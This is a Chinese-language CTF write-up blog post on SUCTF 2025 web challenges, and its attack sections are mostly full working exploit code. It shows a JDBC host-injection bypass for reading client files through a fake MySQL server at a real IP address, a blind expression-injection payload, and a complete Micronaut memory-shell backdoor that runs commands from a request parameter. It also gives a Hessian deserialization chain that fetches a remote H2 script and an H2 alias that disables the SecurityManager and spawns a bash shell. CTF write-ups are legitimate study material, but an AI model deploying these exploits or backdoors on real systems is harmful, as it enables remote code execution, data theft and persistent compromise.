public static String MYSQL_SECURITY_CHECK_ENABLE = "true";
public static String MYSQL_CONNECT_URL = "jdbc:mysql://%s:%s/%s";
public static String JDBC_MYSQL_PROTOCOL = "jdbc:mysql";
public static String JDBC_MATCH_REGEX = "(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?";
public static String MYSQL_SENSITIVE_PARAMS = "allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#";

public static void checkJdbcConnParams(String str, Integer num, String str2, String str3, String str4, Map<String, Object> map) throws Exception {
if (Boolean.valueOf(MYSQL_SECURITY_CHECK_ENABLE).booleanValue()) {
if (StringUtils.isAnyBlank(new CharSequence[]{str, str2})) {
throw new Exception("Invalid mysql connection params.");
}
String format = String.format(MYSQL_CONNECT_URL, str.trim(), num, str4.trim());
checkHost(str.trim());
checkUrl(format);
checkParams(map);
checkUrlIsSafe(format);
}
}

public static void checkHost(String str) throws Exception {
if (str == null) {
return;
}
if (str.startsWith("(") || str.endsWith(")")) {
throw new Exception("Invalid host");
}
}

public static void checkUrl(String str) throws Exception {
if ((str == null || str.toLowerCase().startsWith(JDBC_MYSQL_PROTOCOL)) && !Pattern.compile(JDBC_MATCH_REGEX).matcher(str).matches()) {
throw new Exception();
}
}

private static Map<String, Object> parseMysqlUrlParamsToMap(String str) {
if (StringUtils.isBlank(str)) {
return new HashMap();
}
String[] split = str.split(AND_SYMBOL);
HashMap hashMap = new HashMap(split.length);
for (String str2 : split) {
String[] split2 = str2.split(EQUAL_SIGN);
if (split2.length == 2) {
hashMap.put(split2[0], split2[1]);
}
}
return hashMap;
}

public static String parseParamsMapToMysqlParamUrl(Map<String, Object> map) {
return (map == null || map.isEmpty()) ? "" : (String) map.entrySet().stream().map(entry -> {
return String.join(EQUAL_SIGN, (CharSequence) entry.getKey(), String.valueOf(entry.getValue()));
}).collect(Collectors.joining(AND_SYMBOL));
}

private static void checkParams(Map<String, Object> map) throws Exception {
if (map == null || map.isEmpty()) {
return;
}
try {
Map<String, Object> parseMysqlUrlParamsToMap = parseMysqlUrlParamsToMap(URLDecoder.decode(parseParamsMapToMysqlParamUrl(map), "UTF-8"));
map.clear();
map.putAll(parseMysqlUrlParamsToMap);
Iterator<Map.Entry<String, Object>> it = map.entrySet().iterator();
while (it.hasNext()) {
Map.Entry<String, Object> next = it.next();
String key = next.getKey();
Object value = next.getValue();
if (StringUtils.isBlank(key) || value == null || StringUtils.isBlank(value.toString())) {
it.remove();
} else if (isNotSecurity(key, value.toString())) {
throw new Exception("Invalid mysql connection parameters: " + parseParamsMapToMysqlParamUrl(map));
}
}
} catch (UnsupportedEncodingException e) {
throw new Exception("mysql connection cul decode error: " + e);
}
}

private static boolean isNotSecurity(String str, String str2) {
boolean z = true;
String str3 = MYSQL_SENSITIVE_PARAMS;
if (StringUtils.isBlank(str3)) {
return false;
}
String[] split = str3.split(COMMA);
int length = split.length;
int i = 0;
while (true) {
if (i >= length) {
break;
} else if (isNotSecurity(str, str2, split[i])) {
z = false;
break;
} else {
i++;
}
}
return !z;
}

private static boolean isNotSecurity(String str, String str2, String str3) {
return str.toLowerCase().contains(str3.toLowerCase()) || str2.toLowerCase().contains(str3.toLowerCase());
}

public static void checkUrlIsSafe(String str) throws Exception {
try {
Matcher matcher = Pattern.compile(BLACKLIST_REGEX).matcher(str.toLowerCase());
StringBuilder sb = new StringBuilder();
while (matcher.find()) {
if (sb.length() > 0) {
sb.append(", ");
}
sb.append(matcher.group());
}
if (sb.length() > 0) {
throw new Exception("url contains blacklisted characters: " + ((Object) sb));
}
} catch (Exception e) {
throw new Exception("error occurred during url security check: " + e);
}
}

public static void appendMysqlForceParams(Map<String, Object> map) {
map.putAll(parseMysqlUrlParamsToMap("allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false"));
}
}

然后就是一个正常打JDBC读文件:

1
/jdbc

提示了 reason: not valid java name and contains not printable characters

检查逻辑后可以发现 host 字段的正则 Reg 可以进行注入:

1
"(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?";
  • ([^:]+) 可以一直匹配所有非冒号字符串
  • 通过 url 全字符编码可以绕过关键词匹配waf
  • 可以使用 # 来忽略最后插入的安全策略

按照上述描述将下列字段注入到host中:

1
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

使用MySQL_Fake_Server读取客户端文件就出了:

1
host=ADDRESS=(host=8.140.251.152)(port=3306)(database=test)(user=fileread_file%3A%2F%2F%2F.)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65%49%6e%50%61%74%68=%2F)(%61%6c%6c%6f%77%55%72%6c%49%6e%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%6d%61%78%41%6c%6c%6f%77%65%64%50%61%63%6b%65%74=655360)  #/test&port=3306&database=test&extraParams={}&username=test&password=root

欧阳学长还说会自动两次URL解码,也能直接打。

(本地环境有点问题,就不演示了xxxx)

SU_ez_micronaut

欧阳学长和赵哥靠着盲注再次拿下,tql。

这里保护一下版权就不放完整exp了,关键就是使用了:

1
payload=f"""eyIxIjoiMSJ9<--->new('cn.hutool.extra.expression.engine.jexl.JexlEngine').eval("if(new('cn.hutool.core.io.FileUtil').readUtf8String(new('cn.hutool.core.io.FileUtil').file('/flag.txt')).charAt({j})=={i}){{new('java.lang.Thread').sleep(5000);}}",null)<--->admin"""

来进行逐字节盲注:

这道题官方wp写的很精彩,理解起来也有点小难度,复现也有点难绷emmm。。。

详见:ez-micronaut

里面还有micronaut内存马挖掘的思路。

内存马做好之后,这里有两种思路,第一种是直接将注入内存马的代码按照h2 sql的语法进行编码转换执行,但是比较麻烦,需要将import的类都写成全类名进行使用。

第二种将jar包读取为二进制流再base64写到服务器,再使用loadClass加载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-- Step 1: 创建Base64解码和文件写入的ALIAS
CREATE ALIAS IF NOT EXISTS BASE64_TO_JAR AS '
void base64ToJar(String base64Data, String filePath) throws java.io.IOException {
byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data);
try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) {
fos.write(jarBytes);
}
}
';

-- Step 2: 创建加载JAR并执行方法的ALIAS
CREATE ALIAS IF NOT EXISTS LOAD_JAR AS '
void loadJar(String jarPath, String className, String methodName) throws Exception {
java.net.URL jarUrl = new java.net.URL("file:" + jarPath);
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl});
Class<?> loadedClass = classLoader.loadClass(className);
Object instance = loadedClass.getDeclaredConstructor().newInstance();
java.lang.reflect.Method method = loadedClass.getMethod(methodName);
method.invoke(instance);
}
';

-- Step 3: 执行Base64解码并写入JAR文件
CALL BASE64_TO_JAR('你的base64数据', 'yourfile.jar');

-- Step 4: 加载JAR并执行方法
CALL LOAD_JAR('yourfile.jar', 'com.example.YourClass', 'executeMethod');

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
package micronaut.poc;

import io.micronaut.core.propagation.PropagatedContextElement;
import io.micronaut.core.util.SupplierUtil;
import io.micronaut.http.HttpRequest;
import io.micronaut.http.MutableHttpResponse;
import io.micronaut.http.filter.*;
import io.micronaut.http.server.RouteExecutor;
import io.micronaut.http.server.netty.NettyHttpRequest;
import io.micronaut.web.router.DefaultRouter;
import io.netty.util.internal.InternalThreadLocalMap;
import org.reactivestreams.Publisher;
import reactor.core.publisher.Flux;
import sun.misc.Unsafe;

import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.function.Supplier;


public class EvilFilter {

public void hacked() {
try {
// 获取Unsafe实例
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);

// 获取当前线程 (假设线程类型是NettyThreadFactory$NonBlockingFastThreadLocalThread)
Thread currentThread = Thread.currentThread();

// 检查是否是Netty的线程类型
if (currentThread.getClass().getName().contains("NettyThreadFactory$NonBlockingFastThreadLocalThread")) {
// 获取threadLocalMap字段的偏移量
Field threadLocalMapField = currentThread.getClass().getSuperclass().getDeclaredField("threadLocalMap");
long threadLocalMapOffset = unsafe.objectFieldOffset(threadLocalMapField);

// 使用Unsafe获取threadLocalMap字段的值
InternalThreadLocalMap threadLocalMap = (InternalThreadLocalMap) unsafe.getObject(currentThread, threadLocalMapOffset);

// 获取threadLocalMap中的indexedVariables
Field indexedVariablesField = InternalThreadLocalMap.class.getDeclaredField("indexedVariables");
indexedVariablesField.setAccessible(true);
Object[] indexedVariables = (Object[]) indexedVariablesField.get(threadLocalMap);

Object indexedVariable = null;

// 遍历indexedVariables数组,寻找PropagatedContextImpl类型的变量
for (Object variable : indexedVariables) {
System.out.println(variable.getClass().getName());
if (variable.getClass().getName().contains("PropagatedContextImpl")) {
indexedVariable = variable;
break;
}
}

// 如果找到了PropagatedContextImpl类型的变量
if (indexedVariable != null) {
// 获取PropagatedContextImpl的elements属性
Field elementsField = indexedVariable.getClass().getDeclaredField("elements");
elementsField.setAccessible(true);
PropagatedContextElement[] elements = (PropagatedContextElement[]) elementsField.get(indexedVariable);

PropagatedContextElement element = elements[0];

// 反射获取element的httpRequest属性
if (element != null && element.getClass().getName().contains("ServerHttpRequestContext")) {
// 获取ServerHttpRequestContext类中的httpRequest字段
Field httpRequestField = element.getClass().getDeclaredField("httpRequest");
httpRequestField.setAccessible(true);
NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element);

// 获取channelHandlerContext属性
Field channelHandlerContextField = NettyHttpRequest.class.getDeclaredField("channelHandlerContext");
channelHandlerContextField.setAccessible(true);
Object channelHandlerContext = channelHandlerContextField.get(httpRequest);

// 获取handler属性
Field handlerField = channelHandlerContext.getClass().getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(channelHandlerContext);

// 获取requestHandler属性
Field requestHandlerField = handler.getClass().getDeclaredField("requestHandler");
requestHandlerField.setAccessible(true);
Object requestHandler = requestHandlerField.get(handler);

// 获取routeExecutor属性
Field routeExecutorField = requestHandler.getClass().getDeclaredField("routeExecutor");
routeExecutorField.setAccessible(true);
RouteExecutor routeExecutor = (RouteExecutor) routeExecutorField.get(requestHandler);

// 获取router属性
Field routerField = routeExecutor.getClass().getDeclaredField("router");
routerField.setAccessible(true);
DefaultRouter router = (DefaultRouter) routerField.get(routeExecutor);

// 获取alwaysMatchesHttpFilters属性
Field alwaysMatchesHttpFiltersField = router.getClass().getDeclaredField("alwaysMatchesHttpFilters");
alwaysMatchesHttpFiltersField.setAccessible(true);
Supplier<ArrayList<GenericHttpFilter>> alwaysMatchesHttpFilters =
(Supplier<ArrayList<GenericHttpFilter>>) unsafe.getObject(router,
unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField));

// 获取现有的过滤器列表
ArrayList<GenericHttpFilter> filters = alwaysMatchesHttpFilters.get();

// 创建新的过滤器
HttpServerFilter hackedFilter = new HttpServerFilter() {
@Override
public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
String cmd = request.getParameters().get("cmd");
String output = "";
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
output = s.hasNext() ? s.next() : "";
} catch (IOException ioe) {
ioe.printStackTrace();
}

String finalOutput = output;
return Flux.from(chain.proceed(request))
.doOnNext(response -> {
response.body(finalOutput);
});
}
};

// 获取AroundLegacyFilter类
Class<?> aroundLegacyFilterClass = Class.forName("io.micronaut.http.filter.AroundLegacyFilter");

// 使用Unsafe分配AroundLegacyFilter的实例
Object legacyFilter = unsafe.allocateInstance(aroundLegacyFilterClass);

// 获取AroundLegacyFilter的构造函数
Constructor<?> constructor = aroundLegacyFilterClass.getDeclaredConstructor(HttpFilter.class, FilterOrder.class);
constructor.setAccessible(true); // 允许访问私有构造方法

// 创建一个Dynamic FilterOrder实例,回退排序值为0
FilterOrder dynamicOrder = new FilterOrder.Dynamic(0);

// 调用构造函数初始化实例
Object aroundLegacyFilter = constructor.newInstance(hackedFilter, dynamicOrder);

// 将新的filter添加到filters列表中
filters.add((GenericHttpFilter) aroundLegacyFilter);

// 更新alwaysMatchesHttpFilters
unsafe.putObject(router, unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField),
SupplierUtil.memoized(() -> filters));

} else {
System.out.println("element不是ServerHttpRequestContext类型。");
}
} else {
System.out.println("未找到类型为PropagatedContextImpl的变量。");
}

} else {
System.out.println("当前线程不是Netty的线程类型。");
}

} catch (Exception e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package hello.micronaut;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import hello.micronaut.bean.User;
import hello.micronaut.utils.BeanUtil;
import io.micronaut.http.HttpRequest;
import io.micronaut.http.HttpResponse;
import io.micronaut.http.MediaType;
import io.micronaut.http.client.HttpClient;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URL;
import java.util.Base64;

public class Exp {
public static void main(String[] args) throws Exception {

// String loadClassName = "micronaut.poc.TestPoc";
String loadClassName = "micronaut.poc.EvilFilter";
String loadClassPath = "/tmp/b.jar";
// String loadClassMethodName = "poc";
String loadClassMethodName = "hacked";
String loadClassPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS LOAD_JAR AS \\'void loadJar(String jarPath, String className, String methodName) throws Exception {java.net.URL jarUrl = new java.net.URL(\\\"file:\\\" + jarPath)\\;java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl})\\;Class<?> loadedClass = classLoader.loadClass(className)\\;Object instance = loadedClass.getDeclaredConstructor().newInstance()\\;java.lang.reflect.Method method = loadedClass.getMethod(methodName)\\;method.invoke(instance)\\;}\\'\\;CALL LOAD_JAR(\\'" + loadClassPath + "\\', \\'" + loadClassName + "\\', \\'" + loadClassMethodName + "\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']";

String jar2base64Path = "/Users/a1234/data/codes/java/micronaut-poc/target/original-micronaut-poc-0.1.jar";
String jar2base64 = jar2base64(jar2base64Path);
String writeJarPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS BASE64_TO_JAR AS \\'void base64ToJar(String base64Data, String filePath) throws java.io.IOException {byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data)\\;try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) {fos.write(jarBytes)\\;}}\\'\\;CALL BASE64_TO_JAR (\\'" + jar2base64 + "\\',\\'" + loadClassPath + "\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']";

Gson gson = new GsonBuilder()
.create();

BeanUtil beanUtil = new BeanUtil();
beanUtil.setUrl("http");
String json = gson.toJson(beanUtil, BeanUtil.class);
System.out.println(json);

String poc1 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + writeJarPoc + "<--->" + "admin";
String poc2 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + loadClassPoc + "<--->" + "admin";

User poc1User = new User("admin", "1", Base64.getEncoder().encodeToString(poc1.getBytes()));
User poc2User = new User("admin", "1", Base64.getEncoder().encodeToString(poc2.getBytes()));

ObjectMapper objectMapper = new ObjectMapper();

System.out.println(objectMapper.writeValueAsString(poc1User));
System.out.println("send1");
sendPostRequest("http://127.0.0.1:8080", "/hello/user", objectMapper.writeValueAsString(poc1User));
System.out.println("send2");
sendPostRequest("http://127.0.0.1:8080", "/hello/user", objectMapper.writeValueAsString(poc2User));
}

public static String jar2base64(String jarPath) {
File jarFile = new File(jarPath);
try (FileInputStream fis = new FileInputStream(jarFile)) {
byte[] jarBytes = new byte[(int) jarFile.length()];
fis.read(jarBytes);
return Base64.getEncoder().encodeToString(jarBytes);
} catch (IOException e) {
e.printStackTrace();
return "";
}
}

public static String sendGetRequest(String url, String endpoint) {
try (HttpClient httpClient = HttpClient.create(new URL(url))) {
HttpRequest<String> request = HttpRequest.GET(endpoint);
HttpResponse<String> response = httpClient.toBlocking().exchange(request, String.class);
return response.body();
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}

public static String sendPostRequest(String url, String endpoint, String data) {
try (HttpClient httpClient = HttpClient.create(new URL(url))) {
HttpRequest<String> request = HttpRequest.POST(endpoint, data)
.contentType(MediaType.APPLICATION_JSON); // 设置 Content-Type 头
HttpResponse<String> response = httpClient.toBlocking().exchange(request, String.class);
return response.body();
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}

SU_ez_solon

单纯的找链子:

1
2
3
4
5
6
7
8
9
10
11
12
public class IndexController {
public IndexController() {
}

@Mapping("/hello")
public String hello(@Param(defaultValue = "hello") String data) throws Exception {
byte[] decode = Base64.getDecoder().decode(data);
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(decode));
Object object = hessian2Input.readObject();
return object.toString();
}
}

解题整体的思路不难想到,因为在依赖中可以明确的发现有h2jackson依赖,从这也能推测得出出题人十之八九是要找一个getterjdbc的链子,不会是打什么二次反序列化或者JNDI,h2肯定是最终的sink。这一步用codeql或者其他的静态分析工具就会很快得出结果。

第二步是对securityManager的绕过,这有两种思路

  • 通过反序列化直接关闭securityManager
  • so加载进行二次利用

这里是sofa的hessian,自带了一个反序列化类的黑名单,h2的相关database直接被ban了。所以我们需要自己找一个新的构造链来打。

这里找到的是org.noear.solon.data.util.UnpooledDataSource来调用getConnection()

1
2
3
[JDBC Gadget] 
<org.noear.solon.data.util.UnpooledDataSource: java.sql.Connection getConnection()>
-> <java.sql.DriverManager: java.sql.Connection getConnection(java.lang.String)>

1
JSONObject.toString()->UnpooledDataSource.getConnection()->h2RCE

第二点就是绕这个securityManager,可以

  • 通过反序列化直接关闭 securityManager
  • 写 so 加载进行二次利用

SecurityManager的限制可以直接调用System.setSecurityManager(null);

而且传参别看走眼了,这里传的不是hello是data。。。

EXP

来自Syclover战队的wp:

1
CREATE ALIAS GSBPPP12 AS $$ String shellexec(String cmd) throws java.io.IOException { System.setSecurityManager(null);java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL GSBPPP12('bash -c {echo,aaa}|{base64,-d}|{bash,-i}');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.eddiemurphy;

import com.alibaba.fastjson.JSONObject;
import org.noear.solon.data.util.UnpooledDataSource;
import java.net.URLEncoder;


public class Exp {
public static void main(String[] args) throws Exception{

UnpooledDataSource unpooledDataSource = new UnpooledDataSource("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://vps/poc.sql'","GSBP","GSBP","org.h2.Driver");
unpooledDataSource.setLogWriter(null);
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unpooledDataSource);


String payload = Util.hessianSerialize(jsonObject);
System.out.println(payload);
System.out.println(URLEncoder.encode(payload, "UTF-8"));
//Util.hessianDeserialize(payload);

}
}

image-20250120202000237

三折叠,怎么折都有面😋😋😋~~~

image-20250120201505921

SU_PWN

未完待续…

参考:

2025 SUCTF wp

Syclover-SUCTF-WP

ez-micronaut

SU_ez_solon

SUCTF 2025 Writeup ::

SUCTF-2025/web/sujava/writeup at main · team-su/SUCTF-2025 · GitHub

SU_PWN


SUCTF2025-WEB-Learning
https://eddiemurphy89.github.io/2025/01/15/SUCTF2025-WEB-Learning/
作者
EddieMurphy
发布于
2025年1月15日
许可协议